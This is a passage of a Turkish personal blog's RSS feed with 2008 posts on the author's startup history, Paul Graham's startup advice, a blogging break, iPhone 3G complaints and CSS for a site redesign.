Google' un henüz Google olmadığı günler. Kişisel bir sürü fikir yanında ilk çalıştığım firmalardan birinde &lt;a href="http://www.alibaba.com/"&gt;Ali Baba&lt;/a&gt; benzeri bir sistem kurmaya çalışıyorduk, bu sırada Türk Ticaret.net açılması ile bizim projemizde hafiften elimizde patlamış oldu. Tabii ki projedeki teknik ve iş planındaki yetersizliklerden bahsetmiyorum bile. Bu dönemde Gitti Gidiyor' un kurucu ekibi ile de hem tanıştık hem de birlikte çalışmıştık. O dönemden bu zamana adam gibi pek internet firması da Türkiye de ayakta duramadı, duranlarda Gitti Gidiyor gibi gerçekten ciddi bir konuma geldiler.       &lt;br /&gt;      &lt;br /&gt;Bunun yanında bir çok startup' ın kurulum sürecinde teknik ekipte geliştirici olarak ya da güvenlik/yazılım danışmanı olarak bulundum, şu an da bir kısmı battı, bir kısmı ise keyfi yerinde devam ediyor. Dolayısıyla klavyede uyumayı, mcdonalds' larda plan yapmayı, evlerde switch' leri kurup yazılım geliştirmeyi, dışarıdan gelen pizzalar ile gün boyu hayat geçirmeyi ve günün sonunda multiplayer bir oyun atmanın tadını bilirim. Nitekim bazen sevdim, bazen nefret ettim...      &lt;br /&gt;      &lt;br /&gt;Web girişimciliği benim uzun soluklu hayallerimden, internet ikinci dot com furyasını yaşarken belki bir fırsat bulur ben de sızarım. Girişimcilik artık bir çok açıdan daha kolay, dolayısıyla hareket etmek için de güzel bir vakit.      &lt;br /&gt;&lt;/li&gt;    &lt;li&gt;&lt;strong&gt;Yazarlık       &lt;br /&gt;&lt;/strong&gt;Deneme ve kısa hikaye yazmak sevdiğim işlerden, özellikle bir bilim-kurgu/polisiye arası bir roman yazmayı isterdim ama gel gör ki yeteneğim yok (pardon şöyle ifade edeyim : &lt;em&gt;dünya beni anlamaya hazır değil&lt;/em&gt;), yeteneğim de olsa kim yazarlıktan para kazanmış ki?       &lt;br /&gt;      &lt;br /&gt;Daha çok teknoloji ile alakasız olmak istediğim şeyler yazabilseydim keşke ...&lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Açıkçası hadi ben "&lt;strong&gt;meme&lt;/strong&gt;" yaptım, gitsin herkes yazsın ya da "&lt;em&gt;sen&lt;/em&gt;", "&lt;em&gt;sen&lt;/em&gt;", "&lt;em&gt;bir de o köşedeki ufak blog sahibi, sen&lt;/em&gt;" yaz demeyi sevmiyorum ama siz ben bunu &lt;em&gt;meme&lt;/em&gt;lerim yazarım derseniz de kimseyi tutacak değilim. Yaparsanız da adresi yorumlara link olarak bırakın lütfen.&lt;/p&gt;  &lt;p&gt;Açıkçası benim merak ettiğim bir konu, okuyuclardan da yorumları bekliyorum. Şu anki işinizi yapmasaydanız ne yapardınız? Ya da şöyle dile getireyim "&lt;strong&gt;&lt;em&gt;Büyüyünce ne olmak istiyorsun çocuğum?&lt;/em&gt;&lt;/strong&gt;"&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/CH14GferXhZQusubBska8aQ95Pk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CH14GferXhZQusubBska8aQ95Pk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/CH14GferXhZQusubBska8aQ95Pk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/CH14GferXhZQusubBska8aQ95Pk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=hQJG9AyZ"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=EjUsWHNF"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=dtr7x3dA"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=22YWjtvk"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=22YWjtvk" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/arDziQgUIAA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/eger-baska-bir-is-yapacak-olsaydiniz-oku/</guid>
  <comments>http://ferruh.mavituna.com/eger-baska-bir-is-yapacak-olsaydiniz-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/eger-baska-bir-is-yapacak-olsaydiniz-oku/</feedburner:origLink></item>
<item>
  <title>Paul Graham ve Girişimcilik Dersleri</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/9c0rfrEKiUo/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 17 Eki 2008 20:47:45 +0300</pubDate>
  <description>&lt;p&gt;Bugün bir çok Paul Graham makalesi okudum, &lt;a href="http://paulgraham.com/start.html"&gt;How to Start a Startup&lt;/a&gt; yazısında şu dikkatimi çekti.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;...&lt;/p&gt;    &lt;p&gt;So who should start a startup? Someone who is a good hacker, between about 23 and 38, and who wants to solve the money problem in one shot instead of getting paid gradually over a conventional working life.&lt;/p&gt;    &lt;p&gt;..&lt;/p&gt;    &lt;p&gt;The other cutoff, 38, has a lot more play in it. One reason I put it there is that I don't think many people have the physical stamina much past that age. I used to work till 2:00 or 3:00 AM every night, seven days a week. I don't know if I could do that now.&lt;/p&gt;    &lt;p&gt;...&lt;/p&gt;    &lt;p&gt;During this time you'll do little but work, because when you're not working, your competitors will be. My only leisure activities were running, which I needed to do to keep working anyway, and about fifteen minutes of reading a night. I had a girlfriend for a total of two months during that three year period. Every couple weeks I would take a few hours off to visit a used bookshop or go to a friend's house for dinner. I went to visit my family twice. Otherwise I just worked.&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Doğal olarak yazıyı okurken kendimle kıyaslıyorum ve Graham' ın burada bahsettiği şeyleri ben 18-22 yaşları arasında yaşadım ve maalesef deneyimsizlik ve nasipsizlik yüzünden istediklerimi alamadım. Şimdi ise bunları yapmak bana çok uzak geliyor yani 23 yerine bu işe çok erken girmek beni henüz 38 olmadan 38 gibi hissettirmeye başladı. Tabii ki bu senelerdeki boşa küreklerimiz deneyim olarak geri döndü inşallah ama eğer bir defa daha cesaret eder ve bir startup denersem o zaman göreceğiz, bir daha böyle çalışabilecek miyim? Ya da önceki deneyimler işimize yarayacak mı?&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Bu arada söylemeyi unuttum, biraz bariz ama gene de söyleyeyim "tatilden döndüm" :)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/HEejNRHHVGaUvL9FkxnezyRObSI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HEejNRHHVGaUvL9FkxnezyRObSI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/HEejNRHHVGaUvL9FkxnezyRObSI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/HEejNRHHVGaUvL9FkxnezyRObSI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=68mPSWty"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=nrnc9G6C"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ImgmUq0u"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=KxtR9Ab5"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=KxtR9Ab5" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/9c0rfrEKiUo" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/paul-graham-ve-girisimcilik-dersleri-oku/</guid>
  <comments>http://ferruh.mavituna.com/paul-graham-ve-girisimcilik-dersleri-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/paul-graham-ve-girisimcilik-dersleri-oku/</feedburner:origLink></item>
<item>
  <title>Hayat Detoksu</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/jPp6dV4WIRU/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Cum, 26 Eyl 2008 22:14:44 +0300</pubDate>
  <description>&lt;p&gt;Hayatın ticari toksinlerinden kurtulma amacı ile 15 günlüğüne hayat detoksuna gidiyorum. Bu süre içerisinde yorumlar mucizevi bir şekilde onaylanacak, ancak yeni bir yazı site semalarında gözükmeyecektir. &lt;/p&gt;  &lt;p&gt;Şimdi ben 15 gün boyunca yazı yazmayınca tüm site okurları boykota gidecek, hatta insanlar sitelerini kapatıp benim 15 gün blog yazmamamı protesto edecek, imza toplayıp avrupa insan haklarına gidip "&lt;em&gt;blogu okuma haklarının ellerinden alınamayacağını&lt;/em&gt;" belirtecek, fanatikler yeni bir worm yazıp Ferruh yazı yazmıyorsa internetin ne anlamı var diyerekten ünlü &lt;a href="http://en.wikipedia.org/wiki/Root_nameserver"&gt;&lt;em&gt;13 hayalete&lt;/em&gt;&lt;/a&gt;&lt;em&gt; &lt;/em&gt;DDoS saldırıları düzenleyecekler.&lt;/p&gt;  &lt;p&gt;Lütfen arkadaşlar bu tip şeylere gerek yok, bakınız :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;SELECT COUNT(*) FROM Article      &lt;br /&gt;&lt;strong&gt;1737 &lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;1.737 yazı sizi bekliyor...&lt;/p&gt;  &lt;ul&gt;   &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/advancedsearch/"&gt;Detaylı Arama&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/tags/"&gt;Etiket Arşivi&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/titles/"&gt;Son Yazılar&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/featured/"&gt;En iyi Yazılar&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/popular/"&gt;En Popüler Yazılar&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/looser/"&gt;En Tırt Yazılar&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/sensational/"&gt;Çok konuşulan Yazılar&lt;/a&gt; &lt;/li&gt;    &lt;li&gt;&lt;a href="http://ferruh.mavituna.com/archive/whocares/"&gt;Kimsenin Takmadığı Yazılar&lt;/a&gt; &lt;/li&gt; &lt;/ul&gt;  &lt;p&gt;Ben sitede yokken biraz yorum yazın da, site canlı gözüksün. Bir de ben yok hergün bir doz şu videoyu izleyin : &lt;/p&gt;  &lt;p&gt;&lt;embed src="http://www.youtube.com/v/tWbr-bzCprU&amp;hl=en&amp;fs=1&amp;rel=0" width="425" height="344" type="application/x-shockwave-flash" allowfullscreen="true" /&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;This isn't a seminar, this isn't a weekend retreat. You have to realise that someday you will &lt;strong&gt;die&lt;/strong&gt;, Until you know that, You are &lt;strong&gt;useless&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;&lt;/em&gt;&lt;/p&gt;  &lt;p&gt;&lt;em&gt;26 Eylül 2008      &lt;br /&gt;      &lt;br /&gt;&lt;/em&gt;&lt;em&gt;Ailenizin ziyaretçi kaygısı olmayan, her telden çalan, cümle başına 17 yazım hatası yapan, ayrı yazılan de ve da' lar kan davası olan, sorunlu blogcusu.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/P53M_7uElPHcTops3DEFUqE6iFA/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P53M_7uElPHcTops3DEFUqE6iFA/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/P53M_7uElPHcTops3DEFUqE6iFA/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/P53M_7uElPHcTops3DEFUqE6iFA/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=6Te88zRD"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=bkRyUrMN"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=32nbNqlh"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=ZXKXhiEc"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=ZXKXhiEc" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/jPp6dV4WIRU" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/hayat-detoksu-oku/</guid>
  <comments>http://ferruh.mavituna.com/hayat-detoksu-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/hayat-detoksu-oku/</feedburner:origLink></item>
<item>
  <title><img src="/mg/icons/star.gif" alt="Süper Makale" class="abs" /> iPhone Almamak İçin 22 Neden</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/_PRnCOPwc1o/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Pzt, 22 Eyl 2008 16:37:36 +0300</pubDate>
  <description>&lt;p&gt;Bir ay kadardır IPhone 3G kullanıyorum, TR' de de herkes sanal kamp yapmaya başlamış o yüzden almadan önce keşke bilseydim dediklerimi yazayım dedim.&lt;/p&gt;  &lt;ol&gt;   &lt;li&gt;Şarjı çok az gidiyor, Vasat bir kullanım ile 1-2 gün civarı, &lt;/li&gt;    &lt;li&gt;İnternet beklediğinizden çok daha yavaş, kapsama alanları aslında o kadar da kapsamıyor, &lt;/li&gt;    &lt;li&gt;Wireless desteği kötü ve yavaş, &lt;/li&gt;    &lt;li&gt;IPhone için kaliteli uygulama çok az, yazılımların yarısı arada bir kitlenip, uçuyor, &lt;/li&gt;    &lt;li&gt;Kırmadan (&lt;em&gt;jailbreak vs.&lt;/em&gt;) yükleyebileğiniz yazılım sayısı az, &lt;/li&gt;    &lt;li&gt;Yazılım geliştirirken maalesef .NET ya da Java desteği yok, &lt;/li&gt;    &lt;li&gt;Bir çok video formatını desteklemiyor, &lt;/li&gt;    &lt;li&gt;Windows kullanıcıysanız ITunes + Quicktime kurmanız zorunlu ve bunların ikisi de birbirinden rezil ve Windows ortamında saçmalık derecesinde yavaş yazılımlar, &lt;/li&gt;    &lt;li&gt;ITunes' un backup alması 1-4 saat arasında sürüyor, genelde sıkılıp MobileBackup.exe yazılımını direk sonlandırmak zorunda kalıyorsunuz. &lt;/li&gt;    &lt;li&gt;GPS şaka gibi, internet olmadan çalışmıyor, çalıştığı zamanlarda da süper yavaş çalışıyor. Gerçek ve offline bir GPS yazılım ile gelmiyor, dolayısıyla eğer GPS özelliğini gerçek bir GPS gibi kullanmayı düşünüyorsanız şimdiden vazgeçin, &lt;/li&gt;    &lt;li&gt;IPhone içerisindeki dosya, klasörlere direk erişim yok. Herşeyin ITunes üzerinden yapılması gerekiyor bu da senkronizasyon vs. gibi işleri çok zorlaştırıyor. Kendi bilgisayarınızın başında değilken IPhone' unuza müzik, video atmanız imkansız hale geliyor, &lt;/li&gt;    &lt;li&gt;Pahalı, &lt;/li&gt;    &lt;li&gt;MMS desteği yok, &lt;/li&gt;    &lt;li&gt;Her ne kadar işim olmasa da kendi MP3 vs. dosyalarınınizdan ringtone yapmamanız başka salak bir limitasyon, &lt;/li&gt;    &lt;li&gt;Ses ile kontrol, Kulaklık üzerinden çağrı kabul etme vs. gibi özellikleri yok, &lt;/li&gt;    &lt;li&gt;Iphone 3G' nin bazı eski IPhone / IPod aksesuarları ile uyumsuz olması, Kendini şarj etmemesi vs. (bkz. &lt;a href="http://www.goprojectors.co.uk/iDragon-B-iPod-dock-Speaker-System-p/gad-lin-idragon.htm"&gt;IDragon&lt;/a&gt;) &lt;/li&gt;    &lt;li&gt;Safari' de Flash' ın çalışmaması, buna rağmen youtube videoları özel yazılım ile çalışıyor, &lt;/li&gt;    &lt;li&gt;PDF, CHM vs. adam gibi hiç bir formatı okuyamıyor olması. O kadarki aslında dosya transferi yapamadığınızdan ve dosya sistemine erişmedeğinizden HTML bile okuyamıyor diyebiliriz. Bu da e-book konseptini öldürüyor. &lt;/li&gt;    &lt;li&gt;Apple her zamanki gibi mouse' da 2 butona ne hacet mantığı ile, &lt;strong&gt;Kopyala / Yapıştır &lt;/strong&gt;sizin neyinize diyerekten böyle bir özellik sunmayı da gereksiz bulmuş. Ne de olsa salak bir sanal klavye ile 15 karakter şifre girme çok doğal bir iş. &lt;/li&gt;    &lt;li&gt;Uzun listelerde scroll yaparken, parmaklarınızın ağrıması ve hayatınızın gözlerinizin önünde şerit IPhone uygulaması olarak geçmesi. &lt;/li&gt;    &lt;li&gt;Kontakları SMS ile gönderememe (&lt;em&gt;Bundan emin değilim, ben henüz bulamadım bulan varsa söylesin&lt;/em&gt;), &lt;/li&gt;    &lt;li&gt;Video kayıt özelliğinin olmaması. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt; &lt;/p&gt;  &lt;h2&gt;Yiğidi Öldür Hakkını Yeme Listesi&lt;/h2&gt;  &lt;ol&gt;   &lt;li&gt;Bir çok açıdan donanım ve yazılım çok kullanışlı, &lt;/li&gt;    &lt;li&gt;Seksi &amp; İnce, &lt;/li&gt;    &lt;li&gt;Video kalitesi, müzik kalitesi ve genel olarak IPod fonksiyonu güzel, &lt;/li&gt;    &lt;li&gt;Telefon ile konuşurken IPhone' u kullanmaya pürüzsüz devam edebilme, IPod dinlerken gelen çağrıları vs. güzelce kabul edebilme ve yeni arama yapabilme. &lt;/li&gt;    &lt;li&gt;Text-render ve görüntü kalitesi, &lt;/li&gt;    &lt;li&gt;Ekranın kendini ışığa doğru ayarlaması, dönmesi, kulağınıza getirince ekranın kapanması çekince tekrar açılması ve benzeri sensör aksiyonları, &lt;/li&gt;    &lt;li&gt;Kaliteli kulaklık. &lt;/li&gt; &lt;/ol&gt;  &lt;p&gt;Keşke biri Windows Mobile' ı bu donanımın içine koyabilse o zaman dünya çok daha güzel bir yer olurdu... &lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/YZ1EK7dDO-h66D5S9kHc-pSkA74/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YZ1EK7dDO-h66D5S9kHc-pSkA74/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/YZ1EK7dDO-h66D5S9kHc-pSkA74/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/YZ1EK7dDO-h66D5S9kHc-pSkA74/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=2cNb3ryX"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=K7b3i7iD"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=KobjAcWN"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=NDgHR7Zl"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=NDgHR7Zl" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/_PRnCOPwc1o" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/phone-giciklikari-oku/</guid>
  <comments>http://ferruh.mavituna.com/phone-giciklikari-oku/#comments</comments>
<feedburner:origLink>http://ferruh.mavituna.com/phone-giciklikari-oku/</feedburner:origLink></item>
<item>
  <title>Yeni Tasarımın Yapılışı - II</title>
  <link>http://feedproxy.google.com/~r/fmavituna/~3/pa6J355eoGA/</link>
  <author>Ferruh Mavituna</author>
  <pubDate>Paz, 21 Eyl 2008 12:58:30 +0300</pubDate>
  <description>&lt;p&gt;&lt;i&gt;Bu yazının ilk bölümü: &lt;a href="http://ferruh.mavituna.com/yeni-tasarimin-yapilisi--oku/"&gt;Yeni Tasarımın Yapılışı - I&lt;/a&gt; &lt;/i&gt;&lt;/p&gt;  &lt;h3&gt;Tasarımı HTML’ e aktarmak - 07.04.08&lt;/h3&gt;  &lt;p&gt;Pazar sabahı, 9:45 gibi uyandım, önce sitenin tasarımını Fireworks üzerinde fena olmayan bir seviyeye getirdim. Bunu yaparken RSS ikonuna ihtiyacım oldu normal RSS ikonlarını &lt;a href="http://www.feedicons.com/"&gt;Feed Icons&lt;/a&gt; sitesinden aldım. Ek olarak e-mail ile RSS’ e üye olacaklar içinde bir ikona ihtiyacım oldu. Onun için de &lt;a href="http://www.dyers.org/blog/archives/2007/09/25/free-as-in-beer-e-mail-subscription-icons/"&gt;E-mail Subscriptions Icons&lt;/a&gt;’ u buldum ve onu da oradan çarptım. Tabii ki ikiside ücretsiz ve serbest şekilde dağıtılıyor, dolayısıyla isteyen sitesinde kullanabilir. İkonları ve benzer dış kaynakları kullanırken lisansa bakmak her zaman önemli, aksi takdirde &lt;a href="http://www.gunesintamicinde.com/calintilama-sanatinda-zen/"&gt;Süleyman Hocam&lt;/a&gt; canımıza okur :)&lt;/p&gt;  &lt;h5&gt;CSS Tasarımı&lt;/h5&gt;  &lt;p&gt;Önce istediğimiz yapı için bir CSS şablonu bulmak gerekiyor. CSS’ yi kendimiz de yazabiliriz ama yapılmışı tekrar yapmamak için hemen CSS şablon avına çıkıyoruz. CSS şablonu veren bir çok site var ama şu iki tanesi benim hoşuma gidiyor. &lt;a href="http://layouts.ironmyers.com/"&gt;Iron Myers – Pure CSS Layouts&lt;/a&gt; ve &lt;a href="http://blog.html.it/layoutgala/"&gt;Layout Gala&lt;/a&gt; ikiside her tarayıcıda bu CSS’ lerin sorunsuz çalıştığını iddia ediyorlar. Ben de onlara inanıyorum ve CSS’ lerinin basit ve temizliğinden dolayı Layout Gala’ yı seçiyorum.&lt;/p&gt;  &lt;p&gt;İlgimi çeken CSS’ yi yüklüyor, &lt;a href="http://ferruh.mavituna.com/hayatinizi-rahatlatan-programlar-oku/"&gt;Edit+&lt;/a&gt; ile HTML kodlamaya başlıyorum.&lt;/p&gt;  &lt;p&gt;Arada bir dizi başka iş yaptım, &lt;b&gt;saat şu an 15:27&lt;/b&gt;...&lt;/p&gt;  &lt;h5&gt;Alıntı CSS’ si oluşturmak&lt;/h5&gt;  &lt;p&gt;Blog yazarken sık sık gereken bir şey başkalarından alıntı yapmak. O yüzden güzel bir &lt;b&gt;blockquote&lt;/b&gt; tagını çok kullanıyorum, bunu belli etmek için güzel bir CSS oluşturmam gerekiyordu. Bu iş için &lt;a href="http://www.designmeme.com/articles/csscurlyquotes/"&gt;Design Meme’ de güzel bir örnek&lt;/a&gt; var ama sadece Firefox’ ta çalışıyor bu da bizim işimizi görmüyor tabii ki. Bende şu an ki sitedeki gibi basit bir şey yapmak istedim. Aşağıdaki gibi bir şey yaptım;&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplII_9EC9/image_2.png"&gt;&lt;img  height="352" alt="image" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplII_9EC9/image_thumb.png" width="637"  /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;CSS ise şu şekilde;&lt;/p&gt;    &lt;p&gt;blockquote{&lt;/p&gt;    &lt;p&gt;background: url('mg/openquote.gif') no-repeat left top;     &lt;br /&gt;padding-left: 16px;      &lt;br /&gt;padding-top:2px;      &lt;br /&gt;color:#555;      &lt;br /&gt;margin-left:14px;&lt;/p&gt;    &lt;p&gt;}&lt;/p&gt;    &lt;p&gt;blockquote p,blockquote div,blockquote td,blockquote span{&lt;/p&gt;    &lt;p&gt;font:italic 14px "Georgia", serif;&lt;/p&gt;    &lt;p&gt;}&lt;/p&gt; &lt;/blockquote&gt;  &lt;h5&gt;İlk İzlenimler&lt;/h5&gt;  &lt;p&gt;Sağ taraftaki hakkında kısmını da hallettikten sonra aşağıdaki gibi bir HTML’ e ulaştım.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplII_9EC9/image_4.png"&gt;&lt;img  height="580" alt="image" src="http://ferruh.mavituna.com//blogs/upload/WindowsLiveWriter/YeniTasarmnYaplII_9EC9/image_thumb_1.png" width="626"  /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;Resimde görülen sağdaki navigasyon kısım başlıklarını şu şekilde bir CSS ile gerçekleştirdim.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;div.section h2{     &lt;br /&gt;text-align:center;      &lt;br /&gt;background: url('/mg/blackdot.gif') repeat-x center;      &lt;br /&gt;margin-top:0;      &lt;br /&gt;}&lt;/p&gt;    &lt;p&gt;div.section h2 span{     &lt;br /&gt;font: normal 24px Times, serif;      &lt;br /&gt;color:#333;      &lt;br /&gt;background-color:#FFF;      &lt;br /&gt;padding:0 10px 0 10px;      &lt;br /&gt;}&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;HTML kısmı ise gene çok basit;&lt;/p&gt;  &lt;blockquote&gt;   &lt;p&gt;&lt;div class="section"&gt;&lt;h2&gt;&lt;span&gt;ARAMA&lt;/span&gt;&lt;/h2&gt;&lt;/div&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p&gt;Şimdilik güzel gidiyoruz.&lt;b&gt;saat : 17:35&lt;/b&gt;. Bir kaç kek ve 330ml Coca Cola tükettim.&lt;/p&gt;  &lt;p&gt;&lt;i&gt;Yazı devam edecektir...&lt;/i&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/prlEBlXpYcYovOenfoB1fbLDlEw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/prlEBlXpYcYovOenfoB1fbLDlEw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/prlEBlXpYcYovOenfoB1fbLDlEw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/prlEBlXpYcYovOenfoB1fbLDlEw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=X3UnUEfS"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=4B2lSB7F"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=50" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=xJ0SU22Y"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?d=43" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/fmavituna?a=fV3rEOK0"&gt;&lt;img src="http://feeds.feedburner.com/~f/fmavituna?i=fV3rEOK0" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/fmavituna/~4/pa6J355eoGA" height="1" width="1"/&gt;</description>
  <guid isPermaLink="false">http://ferruh.mavituna.com/yeni-tasarimin-yapilisi-2-oku/</guid>
